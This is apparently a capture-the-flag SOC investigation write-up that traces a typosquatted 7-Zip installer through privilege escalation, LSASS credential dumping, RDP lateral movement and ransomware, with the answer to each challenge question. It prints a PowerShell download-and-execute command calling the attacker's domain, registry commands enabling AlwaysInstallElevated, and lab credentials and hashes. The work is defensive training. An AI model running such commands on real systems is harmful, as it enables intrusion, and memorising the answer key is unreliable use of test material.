
Typo Squatters II

Scenario

Just working on a typical day as a software engineer, Perry received an encrypted 7z archive from 
his boss containing a snippet of a source code that must be completed within the day. Realising that 
his current workstation does not have an application that can unpack the file, he spins up his 
browser and starts to search for software that can aid in accessing the file. Without validating the 
resource, Perry immediately clicks the first search engine result and installs the application. 

Last September 26, 2023, one of the security analysts observed something unusual on the 
workstation owned by Perry based on the generated endpoint and network logs. Given this, your 
SOC lead has assigned you to conduct an in-depth investigation on this workstation and assess the 
impact of the potential compromise.

Questions:

What is the URL of the malicious software that was downloaded by the 
victim user?

→ Let’s check all the available users in the log first:



→ Let’s create a list of users by clicking the “Visualize” button:

→ We know that the victim user was “perry.parsons”. We also know that the downloading a file 
shows a file creation event in Windows logging. Filter/Query: “related.user : perry.parsons”

Three event ID related to this user:
- 4673
- 4670
- 1



→ Since the file was downloaded, let’s check all browser related activities by this user with 
“process.name : chrome.exe” :  (Keywords: outbound,egress, destination IP, DNS query, )

Query:
related.user : perry.parsons
winlog.event_id : 1 (Process Creation)

Installation method used to download the malicious 7zip software version:
"C:\Windows\System32\msiexec.exe" /i "C:\Users\perry.parsons\Downloads\7z2301-x64.msi" 

Filter:
→ agent.hostname
→ event.action
→ event.module
→ host.hostname
→ process.command_line

Removing the previous query and adding “http” on the search query:

- With this, we can see how the malicious payload unfolded and compromised the system.



More information about the malicious payload user perry downloaded from:

→ Answer:
http[://]www[.]7zipp[.]org/a/7z2201-x64.msi

Path to where it landed on the system: C:\Program Files\7-zip\7zipp.exe

What is the IP address of the domain hosting the malware? (1st stage)



Found it by looking at the network connection made just after seeing the downloaded file log:

→ Answer:
206[.]189[.]34[.]218

What is the PID of the process that executed the malicious software?

Filter:
→ related.user : perry.parsons
→ winlog.event_id : 1

Finding the log that shows the execution of the downloaded malicious 7z file:

Message section inside the log shows the:
- Process ID,
- Image of the binary used from the installation (needed for determining TTPs),
- The command line executed, and the
- Privilege at the time of execution



→ Answer: 2532

Following the execution chain of the malicious payload, another remote 
file was downloaded and executed. What is the full command line value of 
this suspicious activity?

Message section of the process creation log for this powershell command:



- Interesting! Notice the difference in privilege/IntegrityLevel now. Its at the ‘System’ privilege and 
not ‘medium’. How is that the case? Did something happen in between while this malicious .msi 
file was being installed? Let’s see!

Source:(https://attack.mitre.org/techniques/T1218/007/)
Checking the msiexec from MITRE ATT&CK, we can see that the Msiexec.exe used for 
installing .msi files is mostly used by attackers for defense evasion. However, on the chance that 
some policy like “AlwaysInstallElevated” has its bit set, the process spawned to execute msiexec 
will have ‘System’ level privilege. The screenshot above is the proof of that. Also note that 
msiexec.exe is a native windows binary which any user on the system will automatically execute 
when downloading something with the presumption that they are allowed by the System Admin to 
install on the machine(check out the LOLBAS project on github).

Also, let’s check what is AlwaysInstallElevated policy is: (Source : 
https://bherunda.medium.com/windows-privesc-detecting-alwaysinstallelevated-policy-abuse-
f3ffa7a734bd)

Definition of the   AlwaysInstallElevated   policy:  
- This is how this policy can be enabled (and DISABLED by removal or setting the bit to 0). This 
policy elevates the installing process to the “SYSTEM” level since it’s easier to install programs 
with complete control of the system but comes with great risk as seen in this example.

C:\Users\ankit\Desktop>reg ADD HKLM\Software\Policies\Microsoft\Windows\
Installer /v AlwaysInstallElevated /d 1 /t REG_DWORD
The operation completed successfully.
C:\Users\ankit\Desktop>reg ADD HKCU\Software\Policies\Microsoft\Windows
\Installer /v AlwaysInstallElevated /d 1 /t REG_DWORD
The operation completed successfully.

→ Answer: powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)

Hardening:

- Disable powershell usage at all? (even at the system level unless specifically modified?)
- Set the AlwaysInstallElevated policy to false? (Would there be a way to poll if its being enabled 
and respond appropriately?)
- 



The newly downloaded script also installed the legitimate version of the 
application. What is the full file path of the legitimate installer?

We can see that this .exe file was dropped/downloaded from the script 7z.ps1.
→ Answer: C:\Windows\Temp\7zlegit.exe

What is the name of the service that was installed?

Found the process used to create and start the service:

Question: How was the ‘sc.exe’ got involved in here exactly? Let’s see….



It seems that this service was executed from the powershell script ‘7z.ps1’:

→ Answer: 7zService

The attacker was able to establish a C2 connection AFTER starting the 
implanted service. What is the username of the account that executed the 
service?

Notice that after the 7zlegit.exe was downloaded using the 7z.ps1 script, there was another 
network connection detected:

- Notice that the User is NT AUTHORITY\SYSTEM
- It is reaching to the remote server via HTTP. (This one is for downloading the 1st stage malware)
- How do I know if this is actually a C2 connection? → It’s NOT!



Is this network connection THE C2 connection?

Checking on the network connection and its surrounding logs/events:

Notice that there are TWO network connections prior to service creation. Let’s gather some detail 
about the second network connection: (not sure if either of them is C2 but one was used to 
download the 7zlegit.exe and the actual malware with a destination IP address of 
206[.]189[.]34[.]218)

Notice that this second connection came from rundll32.exe rather than the malicious powershell 
script.



- This one was used to download another malicious script for creds-theft.
Important information extracted:
- Process Name: rundll32.exe
- User : NT AUTHORITY\SYSTEM
- Destination IP : 104[.]248[.]149[.]186
- Destination Port : 443 (https)
- Process ID: 4188

I think this is the most likely C2 connection of the two. (But this occurs BEFORE the execution of 
the ‘7zipp.exe’ the service runs?)

This IP address was found to be malicious by Threat Intel sources.



More logs related to the ‘rundll32.exe’ process spawned:

- This is definitely spawned by the malicious powershell script 7z.ps1

Found the Parent Process ID of the HTTPS connection: 3988

→ Answer: SYSTEM

After dumping LSASS data, the attacker attempted to parse the data to 
harvest the credentials. What is the name of the tool used by the attacker in 
this activity?



More info about the C2 connection:
- DNS server: b[.]resolvers[.]level3[.]net (Company for DNS resolver: Level 3 Communications)
- DNS resolution taken by the malware most likely to download the next malicious powershell 
script ‘pwrex.ps1’ found below.
- This is the third network connection but AFTER the execution of the 7zipp.exe → 7zservice 
(service created with sc.exe).

Another file downloaded and executed by rundll32 (C2 process):

This file downloaded created a file ‘trash.evtx’ which is an xml file. At this point, I am not sure 
what this file is for. There’s probably a whitelist on xml/log files especially in the directory to which 
it was stored (C:\Windows\temp\)

- There’s a lot going on on the execution of this malicious script.



Another connection made by the C2:

Info:
- Destination IP: 185[.]199[.]110[.]133
- Destination Hostname: cdn-185-199-110-133[.]github[.]com → One of the connection used to 
download open-source tools. In this case, its for Invoke-Nanodump.ps1 which is used for 
LSASS.exe content dumping.

Digging into the process PID : 8356

- This process was spawned by the malware to download the Invoke-Nanodump.ps1 used 
to dump LSASS contents.

- Once this file landed on the system, it was renamed as:
C:\Users\perry.parsons\AppData\Local\Temp\__PSScriptPolicyTest_ndepcbgb.rwf.ps1



- Note that at this point, the attacker hasn’t done any lateral movement and still is in the first 
machine compromised.

From here, it shows the .ps1 file was executed:

Checking the surrounding logs to find how the credential got exfiltrated from the system:
- After the dumping of the lsass content:



- Windows werfault.exe process will be spawned and shows the error caused by the Invoke-
Nanodump.ps1 powershell script.

- Also notice that something is being written to the previously created file C:\Windows\
temp\trash.evtx . You’ll see later on what this file is going to be used.

The attacker has done some system reconnaissance in between:

Another network connection has been detected. The C2 downloaded the ‘pwrex.ps1’ file from the 
server where the 1st stage malware came from. This is the file used to harvest the credential after 
dumping from LSASS process.

- Upon execution, it overwrites the contents of the trash.evtx and now contains the 
credential needed to impersonate a specific user in the Active Directory.

Why would there be 3 instances of the same mimikatz execution?



First instance of mimikatz execution:

Second instance:

Third instance: another cmd.exe

→ Answer: Invoke-NanoDump.ps1



What is the credential pair that the attacker leveraged after the credential 
dumping activity? (format: username:hash)

Query:
process.pid : 4188

Other privileges of the possible impersonated account:

Other info related to lsass.exe: (pid 616)

- Attacker’s attempt of stealing credential from user james.cromwell
- Note that there are some logs (first 10 I think) in which lsass.exe was operating normally.
- We want to find the log that happened just AFTER the execution of the 7zipp.exe service 

because its the C2 that’s telling the malware about the specific credential theft to do.(I think)

→ Answer: james.cromwell:B852A0B8BD4E00564128E0A5EA2BC4CF



After gaining access to the new account, the attacker attempted to reset the 
credentials of another user. What is the new password set to this target 
account?

Attacker impersonated/stole credential of another user: (lateral movement from user perry.parsons 
to ‘james.cromwell’ (WKSTN-03 machine) and then to anna.jones (WKSTN-02 machine) with a 
reset its password to ‘pwn3dpw!!!’ )

- New creds → anna.jones:pwn3dpw!!!



Lateral Movement by the malware: (pid: 4188 – malware’s process)

- The malware under the user anna.jones moved from WKSTN-03 (with user 
james.cromwell) to WKSTN-02(with user anna.jones) through RDP (port 3389) at machine 
172.16.1.151.



Lead towards the tool used for credential theft:

- lsass.exe was definitely accessed by the malware.

At this point, we know that the attacker impersonated the user ‘james.cromwell’ AND THEN reset 
the password for the user ‘anna.jones’ and use her account to access WKSTN-02 machine.

→ Answer: pwn3dpw!!!

What is the name of the workstation where the new account was used?

(stated above)

→ Answer:WKSTN-02 

After gaining access to the new workstation, a new set of credentials was 
discovered. What is the username, including its domain, and password of 
this new account?

Query/Filter:
→ host.hostname : WKSTN-02
→ destination.port : 3389

- Aye! 2 hits!



- Shows the lateral movement starting from the WKSTN-03’s svchost.exe process accessing 
WKSTN-02 via its port 3389 (RDP).

Checking related logs:

Overall operation:

At load : 105



- anna.jones was used to login to WKSTN-02 host.

Also notice that the restriction on Admin mode is disabled which is weird for an RDP session:

- The explanation in here was this was the session that has the C2 malware’s process.



Privileges of anna.jones after the attacker logged in:

Another logon for user anna.jones but this time, the privilege is low(32-bit? hmm):



Looking at the time window when the attacker is operating on the WKSTN-02 host:

- Load number: 125

Digging into the process of rdpclip.exe to check what was copied:

- Nothing was found.



Looking at all of the commands used at WKSTN-02 under anna.jones and searching for usage of 
“Invoke-SharpChromium.ps1” to extract cookies of the browser used at WKSTN-02: (See the 
other document containing these commands)

- The attacker added user anna.jones to the “AD Recovery” Domain Admin group using 
compromised user ‘itadmin’ from browser cookies.

→ Answer:SSF\itadmin:NoO6@39Sk0!

Aside from mimikatz, what is the name of the PowerShell script used to 
dump the hash of the domain admin?

Filter/Query:
→ damian.hall : knew this user is a Domain Admin from the collection of commands used on the 
WKSTN-02 workstation under the user anna.jones and searching it up correlating it to some 
commands specific to Powershell Domain Admin enumeration.
→ host.hostname : WKSTN-02
→ user.name : anna.jones



→ Answer: Invoke-SharpKatz.ps1

What is the AES256 hash of the domain admin based on the credential 
dumping output?

Looking for any log that has a content of aes256 hash related to any of the tools used for credential 
dumping such as mimikatz and Invoke-SharpKatz.ps1:

This one provides an output of the given command line:



→ Answer: f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534

After gaining domain admin access, the attacker popped ransomware on 
workstations. How many files were encrypted on all workstations?

Sub-question(1): How was the ransomware deployed after the attacker extracted the credential for 
the domain admin damian.hall?

The Domain Controller seems to connect to the WKSTN-02 machine via RDP:



Once the attacker was inside the Domain Controller, it connected back to WKSTN-02 machine with 
under the user ‘anna.jones’ through RDP with elevated privilege:



Attacker downloading the ransomware on WKSTN-03 user perry.parsons from WKSTN-02 
under the user ‘anna.jones’ (high privs):

Attacker downloading the ransomware on WKSTN-02 under user anna.jones from github:

Context: (attacker) user damian.hall from DC-01 machine RDP-d into WKSTN-02 machine 
under user anna.jones and also to WKSTN-03 under user perry.parsons to execute the 

ransomware

Start of the ransomware execution:



End of the ransomware execution:

- File Created are most likely the file being encrypted.

Execution on WKSTN-03: (ransomware file found at C:\users\perry.parsons\Downloads)

...

Execution on WKSTN-02:

...



Filter: bomb.exe (ransomware file found at C:\users\anna.jones\Downloads)

- There are 16 files encrypted at WKSTN-03 and 30 files encrypted at WKSTN-02.

→ Answer: 46



Threat Hunting be like:

Attacker’s TTP Diagram




